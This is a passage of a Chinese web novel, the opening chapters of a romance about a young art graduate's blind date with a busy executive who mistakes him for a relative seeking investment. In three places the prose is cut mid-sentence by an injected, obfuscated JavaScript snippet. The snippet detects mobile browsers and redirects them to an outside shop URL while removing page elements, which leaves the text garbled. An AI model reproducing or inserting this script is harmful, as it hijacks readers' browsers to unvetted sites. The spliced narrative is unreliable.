《相亲对象出错啦》 1. 相亲吧 “您已到达目的地,本次导航结束。” 林仪停在一个路口,抬头望了一圈,根本没有他要找的“食野”餐厅,他又点了点开始导航,但导航拒绝给他导航,理由是“距离目的地太近”。 林仪放弃凭自己的力量找到这个隐形餐厅,决定找个人问路。 还没逮住人,一个电话打了过来。 “儿子,到地方了吗?记得要跟对方好好介绍自己呀,唐阿姨都跟我说过了,这位宋先生条件非常不错,长得帅又多金,事业有成成熟稳重,就是年纪比你大几岁,不过这都不是问题,年纪大点会疼人,你要认真对待这次见面啊。” “快到了妈,我知道了,我刚下飞机您就说过一遍了。” 这个宋先生真有那么好么? 他妈妈好像喜欢得不行。 周丽:“这么优质的男人可一定要把握住啊,妈在相亲市场替你看了这么多人,很少看到有这样条件的。” 林仪:“妈,我今年二十二岁。” “妈知道,不用跟我介绍。” 开了个小玩笑,只有周丽女士在笑,她又道:“二十二岁已经可以谈了呀,咱们先谈个几年,互相了解彼此,过几年结婚,领养一个孩子……” 林仪赶忙打断,“妈,怎么都说到孩子了。” 林仪对他这位母亲的恋爱观十分捉摸不透。 上学的时候,周丽严令禁止他谈恋爱,连上了大学也不允许,说要以学业为重。 所以他这二十二年一直单身,连个心动对象都没有。 单身久了,思维已经出现惯性,不会主动想要跟谁发展关系了。 然而他今年六月份刚毕业,周丽就急着给他张罗相亲,三天给他看了十五个适龄男子的照片。 逼得他没办法,收拾行李飞去了欧洲,一个人环欧旅行了三个月。 他以为周丽已经忘了这事儿,结果刚下飞机,才吸了一口故乡的空气,周丽就打来电话,说替他约了个相亲对象,让他先见一见。 三点飞机落地,现在是下午五点,他几乎是飞奔着,回家放了行李就出来了,连鞋子都没来得及换。 鞋子! 林仪猛然低头,脚上套的倒霉熊居家拖鞋正贱兮兮地冲他笑。 “……” “妈不说了,我要到了。” 挂断电话,林仪看了看时间,距离约定时间还有半小时,转头去了刚才路过的鞋店。 是一家运动品牌,导购小姐嘴很甜,“小帅哥这双很适合你啊,这一款还没发售就有人预购了,前阵子很多人都是连夜排队来买,今天刚到了货,还剩一双,就像是在等你来一样,可不能错过哦~” 林仪也觉得挺好看,没有犹豫,“那我就要这双,不用装了,我穿着走,这双拖鞋帮我装一下吧。” “好的。”导购小姐打包好拖鞋,又拿出手机,“小帅哥要不要加一下我们的群,以后有新款都会提前在群里通知,可以预定购。” 林仪对鞋子颇有些爱好,这种群也不是没加过,“好。” 导购小姐笑呵呵,“您先加我工作号吧,我把你拉进去。” 林仪扫完码,看着时间不多了,付了钱快步离开。 导购看着手机笑,同事出来攘她肩膀,“你又用私人号加人客户微信,我刚才没脸见正脸,好看吗?” 导购小姐吸了一口气,闭上眼睛,“巨!好!看!” 同事震惊,“你每次形容词很多的时候,这人最多就五六分帅,现在居然只有三个字,这得多好看啊,快看看他朋友圈有没有照片……” 林仪小跑着原路返回,这次运气好,找到了隐藏在角落的“食野”餐厅。 餐厅风格带有一点原始部落的味道,门口种着苏铁,内部座位用绿植隔开,好在安静,适合交谈。 林仪把拖鞋寄放在前台,对着玻璃整理整头发,瞬间对自己有点无语。 他穿着一件白衬衣,搭配一件风衣外套,脚上踏了一双空气运动鞋,不说搭配如何了,周围人都穿着短袖,显得他特蠢。 他又把外套脱掉,看起来稍微好一点。 林仪摸出手机打开周丽的聊天框,仔细看一遍相亲对象的信息。 他既然答应了见面,就要好好对待。 虽说他目前对谈恋爱并无兴趣,但交个朋友还是可以的。 他心中已经准备好了说辞,准备跟对方好好说明白,不至于让对方觉得自己在戏弄人。 五点二十七,距离约定时间还有三分钟。 手机传来提示音,他收到一条短信。 ——我到了。 本地陌生号码,很容易猜出是谁。周丽女士一定把自己的电话给了对方。 林仪走进餐厅。 餐厅座位间隔得很开,人也少,两两成对,都不是他要找的人。 只剩下窗边,有个穿西装的男人已经坐在位置上了。 一定是他了。 林仪走过去,礼貌地问:“您好,请问是宋博岩宋先生吗?” 宋薄言转头,林仪微微一愣。 这次见面安排得匆忙,据说是因为这位宋先生明天就要出差,好一阵子不在本地,所以才约了今天下午。 他除了对方的基本信息,其实连照片都没见过,不知道对方长什么样子。 蓦然一眼,着实有些超出预料。 男人穿着一身剪裁考究的西装,气质矜贵儒雅,骨相上有一点西方人的特点,眉骨很高,锋利的眉峰带着几分野性,又全然收束在沉稳深邃的眼眸中,不管长相还是气质,每一处都在林仪的审美点上。 宋薄言看着面前的少年,眉峰一动。 比他想象的乖巧。 宋薄言特地空出下午饭点的行程安排,答应了他母亲的请求,来见一见他一个远房亲戚家的小孩儿。 据说是这个小孩儿刚毕业,拉了一些朋友组了个团队正在创业,需要启动资金。 亲戚就辗转找到了他母亲,希望能安排跟自己毛遂自荐,拉到投资启动项目。 他母亲赵舒也说过,这家亲戚与他们关系并不算太近,但人家都找上门来了,总不好拒绝。 那小孩儿他问过,先不说能力如何,的确是想做点事出来,总好过某些二代游手好闲混吃等死强。 就让他聊一聊,自己看着赞助一些就好。 宋薄言闻弦歌知雅意,已经做好决定,吃了这顿饭,看对方报价,他直接给了就行。 宋薄言点头,示意他坐下来说话。 面前的少年脸有些微微发红,他想问他是不是太热,一开口卡了一下,“不好意思,怎么称呼?” 林仪看见人就傻了,竟然忘记自我介绍,闻言有些磕磕巴巴道:“您……您好,我叫林仪,有凤来仪的仪。” “嗯。”宋薄言抬手叫来服务员,“给他一杯温水。” 林仪舔舔嘴角,后知后觉感到口渴,他一下飞机就匆匆忙忙回家,匆匆忙忙赶来,一口水都没来得及喝。 这个宋先生,有点贴心。 他接过水喝了一口,低着头,忽然有些不知道怎么说话了。 不知道。 他也没相过亲。 相亲比较容易一见倾心的吗? “点菜吧。”宋薄言递给他一份菜单。 “哦,好。”林仪翻了翻菜谱,点了两道口味清淡的菜,把菜谱递给对面,“我点好了。” 然后,就这么看着宋薄言,拿着菜单温言细语跟服务生交流。 宋薄言心中有些好笑,这小孩儿怎么看着呆呆的,看着他眼睛都不眨一下。 发现对方好像在笑自己,林仪立马找回仪态,想起了周丽的嘱咐,正襟危坐认真道:“宋先生,我先介绍一下我自己吧。我今年22岁,男,安大美院毕业,我兴趣爱好有点多,喜欢一些户外运动,还有看电影,打台球,玩游戏,看动漫……” 说着说着林仪突然闭嘴了。 对方年纪比他大几岁,成熟稳重,他干嘛要说这些听着就很幼稚的爱好啊…… 林仪有点后悔自己来之前没好好做攻略了。 有点不会相亲。 笨嘴拙舌的,一定是他脑子还在飞机上没有落地。 宋薄言没有笑话他,认真听完点头,“说说你的项目吧。” 林仪:“啊?” “哦。好。” 林仪挠了挠耳朵,不知道这位宋先生为何话题跳跃这么快,而且还知道项目的事。 估计是周丽女士告诉过他。 其实他毕业后还没想过要做什么,但有个学计算机的朋友找上他,说他拉了一伙学院大神,准备搞一个游戏。 朋友说的时候非常激动,林仪听了半天,什么都没听出来,只听对方反复强调,这款游戏一旦问世一定会惊爆整个华国。 林仪是学动画的,便邀请他合伙,做游戏主美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478913|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和动画设计等。 “是一种角色扮演类的游戏。” 林仪大致跟他介绍了一下,说话间不时抬头观察对方,要是对方觉得无聊,他就立马结束这个话题。 宋薄言虽然不玩游戏,却听得很认真,不时点头。 宋薄言:“游戏背景只有一个简易框架,还需要完善,不过听起来挺有意思,团队组建好了?” 林仪跟他说了一下团队成员履历,“宋先生对游戏挺感兴趣的?” 宋薄言:“嗯。公司有考虑往这个方向扩展。” 接下来,宋薄言又问了他许多问题,比如目前项目进度,核心成员是否有过参与项目的经验,有没有做过市场调研等等。 林仪虽然觉得怪怪的,但都一一礼貌回答了。 宋薄言正要说什么,林仪肚子忽然“咕噜”一声,餐厅安静,两人都听见了,林仪迅速低头,耳尖有些红。 宋薄言:“抱歉。光顾着聊项目,先吃饭吧。” 林仪点点头,终于可以拿起筷子。 他快饿死了。在飞机上就没怎么吃,舟车劳顿十几小时,下飞机又从城西跑到城东,胃早就空了! 林仪:“我今天刚回国,下了飞机还没来得及吃东西,抱歉。” 宋薄言:“不用抱歉,我接下来一段时间行程会比较满,只有今天下午有空,的确有些仓促。” 林仪先是愣了一下,随即反应过来,“我不是那个意思,只是我自己中午没吃饭而已。” 宋薄言:“嗯。你挺瘦的。” 林仪摸了摸脸颊,“我不容易长肉。” 摸错地方了。宋薄言心道。 脸上甚至有点婴儿肥。 “那多吃点肉。”宋薄言用公筷给他夹了一块牛肋条。 林仪夹起来一口吃掉。 后面的交流跟饭前一样,林仪致力于让话题远离游戏,但宋先生总会把话题又拐回游戏上。 可能他真的对这个游戏感兴趣吧。林仪忽然对他朋友的项目多了些信心。 一顿饭吃得差不多了,窗外步行街人越来越多,两人结束了晚餐。 宋薄言起身结账,林仪等着他出来一起走。 经过前台时,前台姐姐叫住他,“先生,您的东西忘带了。” 前台姐姐弯腰拿起一个口袋给他送出来,“给。” 啊!拖鞋。 “谢谢。” 林仪接过口袋,买鞋的时候导购本来要把盒子给他装拖鞋,他嫌麻烦没要,直接把鞋子塞手提袋了。 手提袋敞着口,一眼就能看到两只倒霉熊挤在一起。 林仪有点尴尬。 “我出门太急,忘换鞋了,买了一双新的。” 宋薄言收回目光,没说什么,他往外走,林仪就亦步亦趋跟着他。 宋薄言的车停在步行街外,本来是去找车,回头看小孩儿还跟在他后面,眼睛亮晶晶的,小狗一样。 “你怎么来的?” 少年眨眨眼,“打车来的啊。” 走了几步还跟着,宋薄言不确定地问:“我送你回家?” 林仪笑了下:“好!” 他送我回家诶。 才第一次见面。 宋薄言心道:果然。 宋薄言给助理发了个位置,助理很快把车开了过来,林仪看见一辆黑车停在面前,宋薄言长腿迈过去,拉开了车门,然后侧过头看向他。 林仪上车。 “先送他回家。”宋薄言跟助理说话,转头又问,“你家在?” 林仪报了个位置。 黑色迈巴赫缓缓驶出步行街。 “你很热?” 车厢内开着空调,但林仪脸很红,他倒是不热,就是闷得很,“有一点。” 宋薄言把车窗打开,随即一路无话。 到达小区门外后,林仪见宋薄言还在用笔记本处理文件,好像都没发现车已经停了。 宋先生好忙啊。 等了一会儿,林仪打破平静,“宋先生,我到了。” “嗯。”宋薄言头也不抬,“你的项目不错,我会认真考虑。” 考虑什么? 林仪有些雾。 宋先生好像真的对他在做的事很感兴趣,是要去了解游戏行业吗? “好。”林仪乖乖点头,磨蹭了一下,鼓起勇气摸出手机递过去,有点紧张,“宋先生,可以加个微信吗?” 2. 没空 林仪家住在大学城附近,是刚考上大学时,家里给他买的房子。 刚进小区,手机震了一下,收到一条信息。 “宋”通过了您的验证。 嘿嘿。 加上了。 又弹来一条消息,是爸妈邻居家的儿子余越,从小学到大学都在同一个学校,关系一直很要好。 余越:「听说你去相亲了?」 林仪:「听谁说的?」 余越:「我妈啊,说是下午去买菜遇到你妈,听阿姨说的,你不是说今天回国吗?影分身?」 林仪:「……」 林仪:「刚下飞机就去相亲了。」 手机连震好几下。 余越:「这么积极!」 余越:「我真不明白了,你才刚毕业,怎么就开始相亲了?」 余越:「关键是你啊!」 余越:「你还用相亲?」 林仪:「我怎么不用?」 余越:「……算了,我跟你说不清楚。」 余越:「结束了没?现在在哪儿?」 余越:「出来打台球。」 余越:「我要听你亲口说。」 林仪回家冲了个澡换了身衣服,半小时后去了台球厅。 余越已经开了台子,一个人打上了,见他来,立马把他拉过来。 “快跟我说说什么情况,那个相亲对象怎么样?” 林仪压不住笑,红着脸点点头,“可以。我挺满意的。” “不是,你怎么露出这种羞涩的笑?到底是有多满意?有照片吗?” 林仪一直笑,把他搭在自己肩膀上的手拿开,自己去拿了根杆子,“没有照片,反正就是很满意啦,完全就是我喜欢的类型。” “你喜欢什么类型?!”余越贴上去,“你都没谈过,怎么知道自己喜欢什么样儿的?” 林仪:“没谈过也知道啊。” 余越:“到底什么类型?” 林仪想了想,“成熟,稳重,温柔,体贴……” “你喜欢年纪比你大的啊?!”余越张大嘴巴,“他多大了?” 林仪:“好像是二十九岁。” 余越:“比你大八岁啊。” 林仪:“七岁。我22了。” “这不还有几个月嘛。”余越把饮料拿起来喝了一口,“那对方呢?你觉得他对你印象如何?” 林仪弯腰,将一颗贴库球打进洞里,“我不知道,他一直跟我聊项目的事,问了我很多项目的问题,我好几次觉得自己在面试。” 余越满眼清澈,“什么项目?” “就是你那个游戏啊。”林仪大致跟他说了前因后果,“最后他还送我回家了,我们还加上了微信。” 看他这么不值钱的样子,余越有些担忧,“坏了,我们林仪宝宝不会是个恋爱脑吧。” “啪!” “不要叫我宝宝。”林仪把台球戳出超大一声表示不满。 余越躲开台球桌,免得被飞起来的球误伤,“行,那不说他了,说说你吧。咱们可是说好要一起去毕业旅行,结果你自己跑国外去了,不够意思啊。” 林仪笑起来,“我也是没办法嘛,你们去了吗?” “去什么呀,蒋逸在考研,雷霆跑海南奔现了,你飞去了另一片大陆,人都凑不齐,就我一个人独守空房。” 林仪安慰他,“我这不是回来了吗,今天你想打多久我都陪你。” “行,这可是你说的。” 两人酣畅淋漓地打了三个小时,余越嫌无聊了,拉着他去了个清吧喝小酒,林仪回到家时已经十二点半。 林仪又洗了个澡换上睡衣,可算是躺在了他柔软的大床上,结束了这繁忙精彩的一天。 裹着被子翻了两下,拿起手机打开“宋”的聊天框。 没有消息。 看看朋友圈吧。 点进去,被一条“三天可见”的封印打了回来。 “……” 林仪趴在床上,撑着脑袋盯着手机发了会呆,然后打开相册,挑选了一张今天在飞机上拍的雪山俯瞰图。 配文:回国啦。 过了十分钟,刷新了三十六个赞,十三条评论。 林仪翻了翻,嘴角渐渐落下去。 宋先生都不赞他。 宋先生好像说最近很忙,只有下午有空。 出差了吧。 林仪嘴角又扬起来,一一回复了评论,关掉手机睡觉。 翌日早晨,他听到客厅传来动静,猜测估计是周丽女士来了,拍了拍脸起床洗漱。 “妈,你怎么这么早就来了。” “都八点了还早呀,我过来给你送点东西,还带了你爸做的包子,没吃早饭吧,去坐着,蒸热就能吃了。” 林仪给自己倒了杯热水开始每日的常用app巡视,把所有红点点全部消除。 喝完一杯水,周丽已经端上了包子,在林仪对面坐下,把盘子推过去,笑呵呵看着他,“快吃吧,儿砸。” 林仪:“……” 他默默抬头,一眼就看懂母亲大人眼神背后的含义,“妈,您想说什么就直接说吧。” “先吃包子啊,来。”周丽拿起一个塞他手里,见他咬了一口才问:“昨天相亲怎么样?” 就知道。 “还可以吧,宋先生是个很好的人。” 林仪用包子挡住翘起来的嘴角,但是弯弯的眼睛出卖了他。 周丽非常满意,“我就知道,妈妈给你推荐的人不会有错的,满意的话你们就先好好相处着,放心吧,我可不会天天盯着你们讨人嫌,年轻人相亲和我们那一辈相亲毕竟还是不一样的,你们嘛,讲究三观契合什么的……反正还是得一步一步来。” 两人聊了许多,等送走周女士后,林仪本来准备睡个午觉,刚躺下就被余越的电话吵醒,让他去他家里玩儿桌游。 林仪回了消息,缠着被子磨蹭了十分钟,打了个车过去。 林仪没有敲门,直接按密码开门,客厅没有茶几,放了一张比台球桌还长的大办公桌,此时桌面被清空,五个人正围在一起玩uno。 “林仪宝宝来啦,快点就差你了。”余越拿着牌招呼他。 林仪:“……” 这游戏几个人都能玩儿,怎么就差他一个了? “不许叫宝宝。” 余越熟练地从地上的冰桶拿出一个东西塞他手里,“给你留了冰淇淋。” 林仪眼睛一亮,心里大度地允许他最后再叫一次。 “最近没做新游戏吗?”林仪找了个空座坐下,等待这一局结束就可以加入他们。 李旭推了推眼镜,“最近暂时不打算做小游戏了,等雷霆回来再说。” 办公桌上这几个人是余越召集起来的团队成员的一部分,这些人跟他一样都刚毕业,但在大学时,几人就一起合作,做了个叫“小鸡快跑”的小游戏,上架后火了一阵儿,赚下了第一桶金。 然后余越就说以后还可以一起干,正好他家就他一个人,就当做他们的办公场地,买了个办公桌,用赚的钱配置了电脑设备,组成了一个不需要打卡的小公司,还没有注册那种。 说起这个,余越马上道:“我已经在走工商注册流程了,等过阵子拿到执照,咱就是个正经公司了,林仪,我跟你说的考虑得怎么样了?” 林仪道:“我可以啊,我本来的打算也是先成立自己的工作室,以后游戏做起来了,我一个人肯定不够,得招更多的人。” 余越大喜,“就等你这句话了,毕设拿到金奖的美院优秀毕业生,我们‘大魔法师’的艺术价值全靠你来把控。” “大魔法师”是他们暂定的游戏名字,提到这个,几人牌也不玩了,把电脑抱上桌,顺便开了个产品会。 场面瞬间变得很燃。 “我们这个游戏,要成为划时代的标杆!” “我们这个游戏,要惊爆全国,轰动全球!” “我们的目标是,跻身全球电子游戏产业前三!” “老大,那我们把索尼微软任天堂哪一个挤下去比较好?” “哪一个都行!” 林仪:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478914|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 林仪默默在文档里敲下会议总结:钱不够,团队不齐,方向没定。 翻译过来就是草台班子啥也没有。 但有理想。 接下来两天,林仪每天都来余越家,玩玩桌游,吃吃外卖,打打游戏。 第三天,周丽的电话打了来。 林仪:“喂,妈妈。” 周丽:“儿子,没在家啊?” 林仪:“我在余越家里,怎么了?” 周丽:“我刚来你家没看到人,没事,就是过来问问,你跟宋先生如何了?” “……”林仪:“妈,不是说让我们自由发展不干涉吗?” “是不干涉啊,但我也得来问问进度啊,免得我们瞎猜测。” 林仪眉心一突突,“们?” 周丽礼貌的笑了笑,没说话。 挂掉电话后,林仪抱着抱枕缩在地上发呆。 余越拿了两杯饮料在他旁边坐下,“阿姨来问你和那个相亲对象的事啊?” 林仪:“是宋先生。” 余越:“……宋先生。” 林仪满意,“没有进展,我都不知道他出差回来没。” 余越:“你们这几天聊天没?” 林仪摇头,“没有,加上就没聊过。” “啧,这个宋先生怎么一点不主动。” “他……可能在忙。” 李旭几个听见声音也凑到沙发上来,“怎么回事?谁不主动?” “……” 林仪预感不好,果然,五分钟后,所有人都知道他在相亲的事了。 李旭大惊,“和我们美院的纳西索斯相亲还不主动?他知不知道追你的男男女女从学校食堂排到了fà国?” “……”林仪:“没有,哪有那么夸张。” 李旭:“哪里夸张了,要不是你家里管得严,这对象还不是谈了一个又一个,哪里轮得到相亲。” 林仪:“……” 余越分析,“你们不知道,那位宋先生快三十了,老男人就是这样,比较装,既然他装,那你就主动一点嘛,山不就我我就山。” 一群军师纷纷附议,“林仪你要相信我们,长成你这样的只要稍微花点心思,老男人没一个能招架。” 林仪被唬住了:“真的吗?” 余越滚到地毯上,“天呐,你到底对自己有什么误解,你知不知道学校论坛为你盖的楼可以组成一个国啊~来把手机拿出来,现在就给他发消息。” “发什么?”林仪拿出手机,打开聊天框。 李旭点了点下巴,抬手一指,“先问他回来了没。” 林仪确实打算这么问,编辑好直接发了过去。 五颗脑袋凑一块儿盯着屏幕等了半天,对面一点动静也没有。 林仪把手机放下,“我们还是去讨论一下魔法师吧,他可能真的在忙。” 对面不回,几个军师全都哑了火。 好一个无招胜有招。 Round1:败北 吃过午饭,林仪打算回家了,前阵子接的私人稿件还没画完,得回去赶一赶进度。 走之前余越还让他看了看宋先生回消息了没,见还是没回,便苦口婆心地叮嘱他,“隔着微信聊天进展慢,能见面就直接约见面,恋爱这种事,就是得面对面的谈。” 林仪稀里糊涂点头,回到家,刚打开电脑,微信震了一下。 他以为是余越他们几个成立的小公司群,又在给他支招儿,点开一看,居然是宋先生。 宋:「回来了。」 宋:「什么事?」 林仪抛下电脑往沙发床一扑,这可是相亲之后第一次聊天。 果然还是要主动。 他想了想,决定听余越的,直接约见面。 林仪:「没什么事。」 林仪:「晚上,有空一起吃饭吗?」 聊天框显示“对方正在输入中”,很快消息就送了过来。 宋:「没空。」 林仪:“。” Round2:败北 3. 又有空了 骗人。 余越他们在骗人。 宋先生根本不喜欢他这样的。 林仪躺在床上暗自神伤,还不忘挑了个表情包发过去,是一只跟他一样躺在床上没有梦想的猫猫。 过了一会儿,对方又发来消息。 宋:「今天下午有两个会,还有个线上谈判,下班会比较晚。」 宋:「你可以来我公司。」 林仪又活了。 安市中心商圈大厦顶层办公室,宋薄言本来已经把手机放下继续看文件,结果那小孩儿又发来消息。 是一个猫猫表情包,看起来很伤心的样子。 宋薄言说话一向如此直白,他的确是没空,但忽然想起了母亲赵舒跟他说的话。 他今年二十九,家里人对他的感情生活自然是不可能不急,多次旁敲侧击打探催促。 但他一直以事业为重,暂时并不考虑这些,却被误以为是性格太冷淡,不会谈恋爱,所以才一直单身,经常委婉劝他,要体贴一些,温柔一些,不要太冷硬。 朋友也评价过,说他就算想谈,就他这种不苟言笑冷冰冰的态度,一准儿是爱冷暴力那一挂的,没几个能受得了他。 他开始反思,是不是自己的态度真的不好? 这小孩儿估计只是着急项目的事,他那天虽然表示过自己会考虑,但三天没回复,换谁都心里没底,所以才会再来约他出去吃饭。 年轻人想要创业是好的,他或许不该拒绝。 手上钢笔被转了三圈,宋薄言拿起手机又发了几条过去。 助理程云峰敲响了门,进来送文件。 宋薄言搁下笔,“一会儿你去锦上城接个人。” 程云峰记得这个地方,“是宋总亲戚家那个孩子?接到公司来吗?” 宋薄言:“嗯。” “好的宋总。” 程云峰退出办公室,心下稀奇。 宋总不喜任人唯亲,公司也不允许管理层以权谋私给亲戚走后门,怎么今天突然让他把亲戚带公司来了? …… 林仪本来还在感叹这世上许多事不能强求,转头看到消息又蹦跶起来。 宋先生不是对他不感兴趣,是真的很忙呀。 林仪弹起来打开衣柜挑选了一套衣服,衬衫和休闲牛仔裤的搭配,看着清爽干净朝气蓬勃,跟刚毕业的大学生似的。 不对,他本来就是刚毕业的大学生啊。 难怪这么有朝气。 林仪把自己哄开心了,哼起歌,刚想问对方公司位置,自己打个车过去,宋先生就又发来消息。 宋:「在家?我让助理来接你。」 林仪:「在的。」 林仪:「好。」 林仪走之前又折回去,对着镜子确认自己的穿搭十分协调,才背上包出门。 宋薄言把车牌号发给他后就没再回消息,林仪在小区门口等了十分钟,助理程云峰已经把车开到门口,从驾驶座下来,帮他打开了后座的门。 “谢谢。”上车后,林仪跟他介绍自己。 程云峰礼尚往来,“我叫程云峰,是宋总的助理。” 林仪:“那我叫你程哥吧。” 程云峰微笑点头,林仪没再打扰他开车,但他一开心就会变成话痨,车开出去没几分钟,他就憋不住主动跟程云峰说话。 林仪性格温和有礼貌,长相出众还很好说话,大学时期很多社团邀请他,他的朋友遍布学校各院各专业,人缘很好。 程云峰也对这个老板家的亲戚留下了一个不错的印象,把他领进公司后主动给他介绍起来,“这一栋楼都是新垣集团的,宋总在顶层办公室,需要有权限才能上去,中间还有健身房、娱乐区和食堂,感兴趣我可以带你去看看。” 林仪“哇”了一声,周丽女士只说这位宋先生事业有成,没想到这么成哇。 “宋先生今天会很忙吗?” 程云峰:“这几天有一个跨国项目需要宋总亲自跟,所以会忙一些,我先带你去他办公室。” “好。”林仪跟在程云峰后面,跟着他进电梯,等待,出电梯。 以为顶层没什么人,结果电梯门一开,就有好几个戴着工牌的员工盯着他,他绕过那些好奇的目光跟着程云峰进了宋薄言办公室。 宋薄言头也没抬,“先坐吧,我这里还有事没完。” 林仪看着一身西装伏案工作的男人,心想宋先生工作的样子和他平时生活中的样子不太一样,不论是声音还是周身的气场都显得更加冷峻些。 “给他一杯牛奶。”宋薄言抬头看了程云峰一眼。 “好的宋总,您喝点什么?” 宋薄言:“茶。” 程云峰退出办公室,林仪有些拘谨地坐在沙发上,正襟危坐,转着脑袋探究这间办公室。 一整面的玻璃墙视野极好,将整个安市最繁华的CBD和贯穿安市的大江风光收进眼底。 在这里上班,会不会有一种坐拥天下的感觉? 天气不好的话伸手能碰到乌云吗…… 宋薄言的声音打断他天马行空的联想,“会不会乳糖不耐受?” “啊?”林仪反应了一秒,摇头,“不会的。我妈也经常给我送牛奶来。” 说完他觉得这句话不太对,怎么这样回答,说得像宋先生是他长辈似得,辈分不就乱了吗。 宋薄言并没在意,没说话了,办公室里只剩A4纸和钢笔摩擦的声音。 “宋先生,我可以连办公室的WiFi吗?” 林仪知道对方让他来公司肯定不是约会吃饭的,离饭点还有很久,公司员工都要工作,肯定没有人有时间陪他,他就把自己的电脑也带了来,打算在等宋先生的时候清一清单。 “可以。” 恰好程云峰送来了茶和牛奶,宋薄言顺便就让他帮林仪连上WiFi。 程云峰不仅带来了牛奶,还装了许多小零食。 林仪眼睛一亮,“谢谢程哥!” 宋薄言闻言抬头看了他一眼,“怎么不谢谢我。” 林仪愣了一下,小声道:“谢谢,宋先生。” 宋薄言“嗯”了一声,继续工作。 程云峰心中大骇,他那不苟言笑的老板竟然还喜欢逗亲戚家小孩儿玩儿? 平时惜字如金,多一句话都懒得说,今天居然舍得说这么些废话。 真是小刀剌屁股,开了眼了。 林仪先登录了自己的社交账号,三个月前他接的一个私人稿件的单主发消息来催他了,他挑选了一个有圣母光环的表情包安抚对方,然后优先把她的稿件调出来做。 一工作起来就废寝忘食,不知不觉外面天色已经黯淡下去,办公室安安静静的,偶尔有人进来,林仪都没注意到。 终于把排版设计敲定,把初稿给单主发了过去,林仪往沙发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478915|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一靠,伸了个懒腰。 懒腰伸到一半,发现坐在老板椅上的宋薄言不知道什么时候跑到他面前了,林仪扯了扯衣摆,“宋先生,您结束了吗?” “嗯。”宋薄言收回目光,忘掉刚才少年腰际一晃而过的白,“看你太认真,没舍得打扰。” 现在的年轻人对待工作挺认真,他露出欣赏的表情,问:“这是在画什么?” 宋薄言并非有意窥屏,但他电脑屏幕光调得很亮,又没有防窥膜,一眼就看到了。 林仪还没从他那句“没舍得”里品出什么,看了眼屏幕上他画的双男主插画,手忙脚乱地先点了保存再点了退出,“是一个个人单主约的海报,准备要带到11月的同人创作交流展用的。” 他有点害怕宋薄言继续问下去,比如这两个男人是什么关系之类的。 “嗯。”宋薄言只是点头,“屏幕光调低一点,这个亮度对眼睛不好。” 林仪眨了眨酸涩的眼睛,说声“好”,听话地调低亮度,瞬间觉得屏幕舒服多了。 宋薄言很满意,又问:“饿不饿?” 桌上的小零食林仪一块都没动,他不太喜欢在工作的时候吃零食,怕零食渣渣弄到电脑上,“有一点,天居然都黑了。” 宋薄言整理衣袖,“走吧,去吃饭。路上还要半小时,饿的话路上买点东西先垫垫肚子。” 林仪都没问去哪里吃,收拾东西站起来就跟着宋薄言走了。 推开办公室的门,外面的员工有一半已经下班了,安安静静的,有一种干完今天没明天的美感。 程云峰跟着到了地下车库把车开出来,问宋薄言:“宋总,您下午的时候已经取消了七点半跟南区代理人的饭局,那我们现在是去哪里?” 宋薄言:“高升陆阳平不是送来一张酒会请柬,去酒会吧。” 程云峰:“可陆总的酒会您不是前天就推掉了……” 话没说完,他看了眼坐在宋薄言旁边的少年一眼,了然于心,“知道了,我马上打电话跟陆总说一声。” 林仪这才想起来,自己或许应该确认一下他们的目的地,以杜绝一种可能性极小的被卖掉的风险,“宋先生,我们去哪里?” 宋薄言似乎是笑了一下,“还以为你会等被卖掉了才问,一点防备心都没有。” 握着方向盘的程云峰盯了后视镜一眼,确定后面坐的人是他家宋总。 林仪歪着脑袋看着宋薄言。 宋薄言:“这是朋友办的私人酒会,虽然是私人,但去的都是各行各业知名人士,带你去认识一下。” 他这几天忙里抽空思考过,既然新垣本就准备进军游戏行业,这小孩儿的项目听着也不错,那么其实可以再等一等他们把框架做出来,考虑一下深度合作,甚至是收购注资都可以。 这样一来倒也不用急,年轻人要创业,人脉很重要,先带他去多认识一些人,以后路也宽些。 林仪问:“都是您的朋友吗?” 这反应在宋薄言意料之外,他并不是激动,而是问这样的问题,“差不多。” 林仪忽然有点紧张。 这才第二次见面,就要去见朋友了吗? 那他下一次是不是应该礼尚往来,带他去见见余越他们? 林仪看了一眼宋薄言一身笔挺的高定西装,跟自己简直不是一个图层的,他扯了扯自己的棉质衬衫,“那我穿得这么休闲,会不会很失礼?” 4. 好香啊 宋薄言看了他一眼,不同于从一开始见面的礼貌,而是认真从上到下仔细看了一遍, “不会,你这样很好看,年轻人可以多遵循自己的想法,坚持个性也很重要。” 被夸了,林仪有点不好意思,但内心已经开了几朵小花,在打转。 